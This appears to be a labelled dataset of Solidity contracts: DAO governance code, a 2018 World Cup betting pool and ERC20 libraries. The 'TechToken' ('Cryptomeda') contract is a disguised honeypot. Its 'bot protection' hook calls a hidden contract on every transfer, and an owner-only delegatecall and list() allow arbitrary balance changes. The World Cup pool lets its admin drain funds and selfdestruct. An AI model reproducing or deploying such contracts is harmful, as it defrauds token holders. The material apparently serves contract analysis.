emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.2;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.2;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(msg.sender, _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.2;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _params, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call(_data);
emit GenericCall(_contract, _data, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
}
pragma solidity ^0.5.2;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.2;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.2;
contract Locking4Reputation {
using SafeMath for uint256;
event Redeem(address indexed _beneficiary, uint256 _amount);
event Release(bytes32 indexed _lockingId, address indexed _beneficiary, uint256 _amount);
event Lock(address indexed _locker, bytes32 indexed _lockingId, uint256 _amount, uint256 _period);
struct Locker {
uint256 amount;
uint256 releaseTime;
}
Avatar public avatar;
mapping(address => mapping(bytes32=>Locker)) public lockers;
mapping(address => uint) public scores;
uint256 public totalLocked;
uint256 public totalLockedLeft;
uint256 public totalScore;
uint256 public lockingsCounter;
uint256 public reputationReward;
uint256 public reputationRewardLeft;
uint256 public lockingEndTime;
uint256 public maxLockingPeriod;
uint256 public lockingStartTime;
uint256 public redeemEnableTime;
function redeem(address _beneficiary) public returns(uint256 reputation) {
require(block.timestamp > redeemEnableTime, "now > redeemEnableTime");
require(scores[_beneficiary] > 0, "score should be > 0");
uint256 score = scores[_beneficiary];
scores[_beneficiary] = 0;
uint256 repRelation = score.mul(reputationReward);
reputation = repRelation.div(totalScore);
reputationRewardLeft = reputationRewardLeft.sub(reputation);
require(
ControllerInterface(
avatar.owner())
.mintReputation(reputation, _beneficiary, address(avatar)), "mint reputation should succeed");
emit Redeem(_beneficiary, reputation);
}
function _release(address _beneficiary, bytes32 _lockingId) internal returns(uint256 amount) {
Locker storage locker = lockers[_beneficiary][_lockingId];
require(locker.amount > 0, "amount should be > 0");
amount = locker.amount;
locker.amount = 0;
require(block.timestamp > locker.releaseTime, "check the lock period pass");
totalLockedLeft = totalLockedLeft.sub(amount);
emit Release(_lockingId, _beneficiary, amount);
}
function _lock(
uint256 _amount,
uint256 _period,
address _locker,
uint256 _numerator,
uint256 _denominator)
internal
returns(bytes32 lockingId)
{
require(_amount > 0, "locking amount should be > 0");
require(_period <= maxLockingPeriod, "locking period should be <= maxLockingPeriod");
require(_period > 0, "locking period should be > 0");
require(now <= lockingEndTime, "lock should be within the allowed locking period");
require(now >= lockingStartTime, "lock should start after lockingStartTime");
lockingId = keccak256(abi.encodePacked(address(this), lockingsCounter));
lockingsCounter = lockingsCounter.add(1);
Locker storage locker = lockers[_locker][lockingId];
locker.amount = _amount;
locker.releaseTime = now + _period;
totalLocked = totalLocked.add(_amount);
totalLockedLeft = totalLocked;
uint256 score = _period.mul(_amount).mul(_numerator).div(_denominator);
require(score > 0, "score must me > 0");
scores[_locker] = scores[_locker].add(score);
require((scores[_locker] * reputationReward)/scores[_locker] == reputationReward,
"score is too high");
totalScore = totalScore.add(score);
emit Lock(_locker, lockingId, _amount, _period);
}
function _initialize(
Avatar _avatar,
uint256 _reputationReward,
uint256 _lockingStartTime,
uint256 _lockingEndTime,
uint256 _redeemEnableTime,
uint256 _maxLockingPeriod)
internal
{
require(avatar == Avatar(0), "can be called only one time");
require(_avatar != Avatar(0), "avatar cannot be zero");
require(_lockingEndTime > _lockingStartTime, "locking end time should be greater than locking start time");
require(_redeemEnableTime >= _lockingEndTime, "redeemEnableTime >= lockingEndTime");
reputationReward = _reputationReward;
reputationRewardLeft = _reputationReward;
lockingEndTime = _lockingEndTime;
maxLockingPeriod = _maxLockingPeriod;
avatar = _avatar;
lockingStartTime = _lockingStartTime;
redeemEnableTime = _redeemEnableTime;
}
}
pragma solidity ^0.5.2;
contract LockingEth4Reputation is Locking4Reputation, Ownable {
function initialize(
Avatar _avatar,
uint256 _reputationReward,
uint256 _lockingStartTime,
uint256 _lockingEndTime,
uint256 _redeemEnableTime,
uint256 _maxLockingPeriod)
external
onlyOwner
{
super._initialize(
_avatar,
_reputationReward,
_lockingStartTime,
_lockingEndTime,
_redeemEnableTime,
_maxLockingPeriod);
}
function release(address payable _beneficiary, bytes32 _lockingId) public returns(bool) {
uint256 amount = super._release(_beneficiary, _lockingId);
_beneficiary.transfer(amount);
return true;
}
function lock(uint256 _period) public payable returns(bytes32 lockingId) {
return super._lock(msg.value, _period, msg.sender, 1, 1);
}
} | 1 | 3,107 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract TechToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "Cryptomeda";
string public symbol = "TECH";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wBNB, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 402 |
pragma solidity ^0.4.24;
contract ZeroBTCInterface {
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
}
contract ZeroBTCWorldCup {
using SafeMath for uint;
address internal constant administrator = 0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae;
address internal constant givethAddress = 0x5ADF43DD006c6C36506e2b2DFA352E60002d22Dc;
address internal constant BTCTKNADDR = 0xB6eD7644C69416d67B522e20bC294A9a9B405B31;
ZeroBTCInterface public BTCTKN;
string name = "EtherWorldCup";
string symbol = "EWC";
uint internal constant entryFee = 2018e15;
uint internal constant ninetyPercent = 18162e14;
uint internal constant fivePercent = 1009e14;
uint internal constant tenPercent = 2018e14;
mapping (string => int8) worldCupGameID;
mapping (int8 => bool) gameFinished;
mapping (int8 => uint) gameLocked;
mapping (int8 => string) gameResult;
int8 internal latestGameFinished;
uint internal prizePool;
uint internal givethPool;
uint internal adminPool;
int registeredPlayers;
mapping (address => bool) playerRegistered;
mapping (address => mapping (int8 => bool)) playerMadePrediction;
mapping (address => mapping (int8 => string)) playerPredictions;
mapping (address => int8[64]) playerPointArray;
mapping (address => int8) playerGamesScored;
mapping (address => uint) playerStreak;
address[] playerList;
event Registration(
address _player
);
event PlayerLoggedPrediction(
address _player,
int _gameID,
string _prediction
);
event PlayerUpdatedScore(
address _player,
int _lastGamePlayed
);
event Comparison(
address _player,
uint _gameID,
string _myGuess,
string _result,
bool _correct
);
event StartAutoScoring(
address _player
);
event StartScoring(
address _player,
uint _gameID
);
event DidNotPredict(
address _player,
uint _gameID
);
event RipcordRefund(
address _player
);
constructor ()
public
{
worldCupGameID["RU-SA"] = 1;
gameLocked[1] = 1528988400;
worldCupGameID["EG-UY"] = 2;
worldCupGameID["MA-IR"] = 3;
worldCupGameID["PT-ES"] = 4;
gameLocked[2] = 1529064000;
gameLocked[3] = 1529074800;
gameLocked[4] = 1529085600;
worldCupGameID["FR-AU"] = 5;
worldCupGameID["AR-IS"] = 6;
worldCupGameID["PE-DK"] = 7;
worldCupGameID["HR-NG"] = 8;
gameLocked[5] = 1529143200;
gameLocked[6] = 1529154000;
gameLocked[7] = 1529164800;
gameLocked[8] = 1529175600;
worldCupGameID["CR-CS"] = 9;
worldCupGameID["DE-MX"] = 10;
worldCupGameID["BR-CH"] = 11;
gameLocked[9] = 1529236800;
gameLocked[10] = 1529247600;
gameLocked[11] = 1529258400;
worldCupGameID["SE-KR"] = 12;
worldCupGameID["BE-PA"] = 13;
worldCupGameID["TN-EN"] = 14;
gameLocked[12] = 1529323200;
gameLocked[13] = 1529334000;
gameLocked[14] = 1529344800;
worldCupGameID["CO-JP"] = 15;
worldCupGameID["PL-SN"] = 16;
worldCupGameID["RU-EG"] = 17;
gameLocked[15] = 1529409600;
gameLocked[16] = 1529420400;
gameLocked[17] = 1529431200;
worldCupGameID["PT-MA"] = 18;
worldCupGameID["UR-SA"] = 19;
worldCupGameID["IR-ES"] = 20;
gameLocked[18] = 1529496000;
gameLocked[19] = 1529506800;
gameLocked[20] = 1529517600;
worldCupGameID["DK-AU"] = 21;
worldCupGameID["FR-PE"] = 22;
worldCupGameID["AR-HR"] = 23;
gameLocked[21] = 1529582400;
gameLocked[22] = 1529593200;
gameLocked[23] = 1529604000;
worldCupGameID["BR-CR"] = 24;
worldCupGameID["NG-IS"] = 25;
worldCupGameID["CS-CH"] = 26;
gameLocked[24] = 1529668800;
gameLocked[25] = 1529679600;
gameLocked[26] = 1529690400;
worldCupGameID["BE-TN"] = 27;
worldCupGameID["KR-MX"] = 28;
worldCupGameID["DE-SE"] = 29;
gameLocked[27] = 1529755200;
gameLocked[28] = 1529766000;
gameLocked[29] = 1529776800;
worldCupGameID["EN-PA"] = 30;
worldCupGameID["JP-SN"] = 31;
worldCupGameID["PL-CO"] = 32;
gameLocked[30] = 1529841600;
gameLocked[31] = 1529852400;
gameLocked[32] = 1529863200;
worldCupGameID["UR-RU"] = 33;
worldCupGameID["SA-EG"] = 34;
worldCupGameID["ES-MA"] = 35;
worldCupGameID["IR-PT"] = 36;
gameLocked[33] = 1529935200;
gameLocked[34] = 1529935200;
gameLocked[35] = 1529949600;
gameLocked[36] = 1529949600;
worldCupGameID["AU-PE"] = 37;
worldCupGameID["DK-FR"] = 38;
worldCupGameID["NG-AR"] = 39;
worldCupGameID["IS-HR"] = 40;
gameLocked[37] = 1530021600;
gameLocked[38] = 1530021600;
gameLocked[39] = 1530036000;
gameLocked[40] = 1530036000;
worldCupGameID["KR-DE"] = 41;
worldCupGameID["MX-SE"] = 42;
worldCupGameID["CS-BR"] = 43;
worldCupGameID["CH-CR"] = 44;
gameLocked[41] = 1530108000;
gameLocked[42] = 1530108000;
gameLocked[43] = 1530122400;
gameLocked[44] = 1530122400;
worldCupGameID["JP-PL"] = 45;
worldCupGameID["SN-CO"] = 46;
worldCupGameID["PA-TN"] = 47;
worldCupGameID["EN-BE"] = 48;
gameLocked[45] = 1530194400;
gameLocked[46] = 1530194400;
gameLocked[47] = 1530208800;
gameLocked[48] = 1530208800;
worldCupGameID["1C-2D"] = 49;
worldCupGameID["1A-2B"] = 50;
gameLocked[49] = 1530367200;
gameLocked[50] = 1530381600;
worldCupGameID["1B-2A"] = 51;
worldCupGameID["1D-2C"] = 52;
gameLocked[51] = 1530453600;
gameLocked[52] = 1530468000;
worldCupGameID["1E-2F"] = 53;
worldCupGameID["1G-2H"] = 54;
gameLocked[53] = 1530540000;
gameLocked[54] = 1530554400;
worldCupGameID["1F-2E"] = 55;
worldCupGameID["1H-2G"] = 56;
gameLocked[55] = 1530626400;
gameLocked[56] = 1530640800;
worldCupGameID["W49-W50"] = 57;
worldCupGameID["W53-W54"] = 58;
gameLocked[57] = 1530885600;
gameLocked[58] = 1530900000;
worldCupGameID["W55-W56"] = 59;
worldCupGameID["W51-W52"] = 60;
gameLocked[59] = 1530972000;
gameLocked[60] = 1530986400;
worldCupGameID["W57-W58"] = 61;
gameLocked[61] = 1531245600;
worldCupGameID["W59-W60"] = 62;
gameLocked[62] = 1531332000;
worldCupGameID["L61-L62"] = 63;
gameLocked[63] = 1531576800;
worldCupGameID["W61-W62"] = 64;
gameLocked[64] = 1531666800;
latestGameFinished = 0;
}
function register()
public
payable
{
address _customerAddress = msg.sender;
require( !playerRegistered[_customerAddress]
&& tx.origin == _customerAddress);
require(BTCTKN.transferFrom(_customerAddress, address(this), entryFee));
registeredPlayers = SafeMath.addint256(registeredPlayers, 1);
playerRegistered[_customerAddress] = true;
playerGamesScored[_customerAddress] = 0;
playerList.push(_customerAddress);
require(playerRegistered[_customerAddress]);
prizePool = prizePool.add(ninetyPercent);
givethPool = givethPool.add(fivePercent);
adminPool = adminPool.add(fivePercent);
emit Registration(_customerAddress);
}
function makePrediction(int8 _gameID, string _prediction)
public {
address _customerAddress = msg.sender;
uint predictionTime = now;
require(playerRegistered[_customerAddress]
&& !gameFinished[_gameID]
&& predictionTime < gameLocked[_gameID]);
if (_gameID > 48 && equalStrings(_prediction, "DRAW")) {
revert();
} else {
playerPredictions[_customerAddress][_gameID] = _prediction;
playerMadePrediction[_customerAddress][_gameID] = true;
emit PlayerLoggedPrediction(_customerAddress, _gameID, _prediction);
}
}
function showPlayerScores(address _participant)
view
public
returns (int8[64])
{
return playerPointArray[_participant];
}
function seekApproval()
public
returns (bool)
{
BTCTKN.approve(address(this), entryFee);
}
function gameResultsLogged()
view
public
returns (int)
{
return latestGameFinished;
}
function calculateScore(address _participant)
view
public
returns (int16)
{
int16 finalScore = 0;
for (int8 i = 0; i < latestGameFinished; i++) {
uint j = uint(i);
int16 gameScore = playerPointArray[_participant][j];
finalScore = SafeMath.addint16(finalScore, gameScore);
}
return finalScore;
}
function countParticipants()
public
view
returns (int)
{
return registeredPlayers;
}
function updateScore(address _participant)
public
{
int8 lastPlayed = latestGameFinished;
require(lastPlayed > 0);
int8 lastScored = playerGamesScored[_participant];
mapping (int8 => bool) madePrediction = playerMadePrediction[_participant];
mapping (int8 => string) playerGuesses = playerPredictions[_participant];
for (int8 i = lastScored; i < lastPlayed; i++) {
uint j = uint(i);
uint k = j.add(1);
uint streak = playerStreak[_participant];
emit StartScoring(_participant, k);
if (!madePrediction[int8(k)]) {
playerPointArray[_participant][j] = 0;
playerStreak[_participant] = 0;
emit DidNotPredict(_participant, k);
} else {
string storage playerResult = playerGuesses[int8(k)];
string storage actualResult = gameResult[int8(k)];
bool correctGuess = equalStrings(playerResult, actualResult);
emit Comparison(_participant, k, playerResult, actualResult, correctGuess);
if (!correctGuess) {
playerPointArray[_participant][j] = 0;
playerStreak[_participant] = 0;
} else {
streak = streak.add(1);
playerStreak[_participant] = streak;
if (streak >= 5) {
playerPointArray[_participant][j] = 4;
} else {
if (streak >= 3) {
playerPointArray[_participant][j] = 2;
}
else { playerPointArray[_participant][j] = 1; }
}
}
}
}
playerGamesScored[_participant] = lastPlayed;
}
function updateAllScores()
public
{
uint allPlayers = playerList.length;
for (uint i = 0; i < allPlayers; i++) {
address _toScore = playerList[i];
emit StartAutoScoring(_toScore);
updateScore(_toScore);
}
}
function playerLastScoredGame(address _player)
public
view
returns (int8)
{
return playerGamesScored[_player];
}
function playerIsRegistered(address _player)
public
view
returns (bool)
{
return playerRegistered[_player];
}
function correctResult(int8 _gameID)
public
view
returns (string)
{
return gameResult[_gameID];
}
function playerGuess(int8 _gameID)
public
view
returns (string)
{
return playerPredictions[msg.sender][_gameID];
}
function viewScore(address _participant)
public
view
returns (uint)
{
int8 lastPlayed = latestGameFinished;
mapping (int8 => bool) madePrediction = playerMadePrediction[_participant];
mapping (int8 => string) playerGuesses = playerPredictions[_participant];
uint internalResult = 0;
uint internalStreak = 0;
for (int8 i = 0; i < lastPlayed; i++) {
uint j = uint(i);
uint k = j.add(1);
uint streak = internalStreak;
if (!madePrediction[int8(k)]) {
internalStreak = 0;
} else {
string storage playerResult = playerGuesses[int8(k)];
string storage actualResult = gameResult[int8(k)];
bool correctGuess = equalStrings(playerResult, actualResult);
if (!correctGuess) {
internalStreak = 0;
} else {
internalStreak++;
streak++;
if (streak >= 5) {
internalResult += 4;
} else {
if (streak >= 3) {
internalResult += 2;
}
else { internalResult += 1; }
}
}
}
}
return internalResult;
}
modifier isAdministrator() {
address _sender = msg.sender;
if (_sender == administrator) {
_;
} else {
revert();
}
}
function _btcToken(address _tokenContract) private pure returns (bool) {
return _tokenContract == BTCTKNADDR;
}
function addNewGame(string _opponents, int8 _gameID)
isAdministrator
public {
worldCupGameID[_opponents] = _gameID;
}
function logResult(int8 _gameID, string _winner)
isAdministrator
public {
require((int8(0) < _gameID) && (_gameID <= 64)
&& _gameID == latestGameFinished + 1);
if (_gameID > 48 && equalStrings(_winner, "DRAW")) {
revert();
} else {
require(!gameFinished[_gameID]);
gameFinished [_gameID] = true;
gameResult [_gameID] = _winner;
latestGameFinished = _gameID;
assert(gameFinished[_gameID]);
}
}
function concludeTournament(address _first
, address _second
, address _third
, address _fourth)
isAdministrator
public
{
require(gameFinished[64]
&& playerIsRegistered(_first)
&& playerIsRegistered(_second)
&& playerIsRegistered(_third)
&& playerIsRegistered(_fourth));
uint tenth = prizePool.div(10);
uint firstPrize = tenth.mul(4);
uint secondPrize = tenth.mul(3);
uint thirdPrize = tenth.mul(2);
BTCTKN.approve(_first, firstPrize);
BTCTKN.transferFrom(address(this), _first, firstPrize);
BTCTKN.approve(_second, secondPrize);
BTCTKN.transferFrom(address(this), _second, secondPrize);
BTCTKN.approve(_third, thirdPrize);
BTCTKN.transferFrom(address(this), _third, thirdPrize);
BTCTKN.approve(givethAddress, givethPool);
BTCTKN.transferFrom(address(this), givethAddress, givethPool);
BTCTKN.approve(administrator, adminPool);
BTCTKN.transferFrom(address(this), administrator, adminPool);
uint fourthPrize = ((prizePool.sub(firstPrize)).sub(secondPrize)).sub(thirdPrize);
BTCTKN.approve(_fourth, fourthPrize);
BTCTKN.transferFrom(address(this), _fourth, fourthPrize);
selfdestruct(administrator);
}
function pullRipCord()
isAdministrator
public
{
uint totalPool = (prizePool.add(givethPool)).add(adminPool);
BTCTKN.approve(administrator, totalPool);
BTCTKN.transferFrom(address(this), administrator, totalPool);
selfdestruct(administrator);
}
function _isCorrectBuyin(uint _buyin)
private
pure
returns (bool) {
return _buyin == entryFee;
}
function compare(string _a, string _b)
private
pure
returns (int)
{
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function equalStrings(string _a, string _b) pure private returns (bool) {
return compare(_a, _b) == 0;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function addint16(int16 a, int16 b) internal pure returns (int16) {
int16 c = a + b;
assert(c >= a);
return c;
}
function addint256(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,119 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
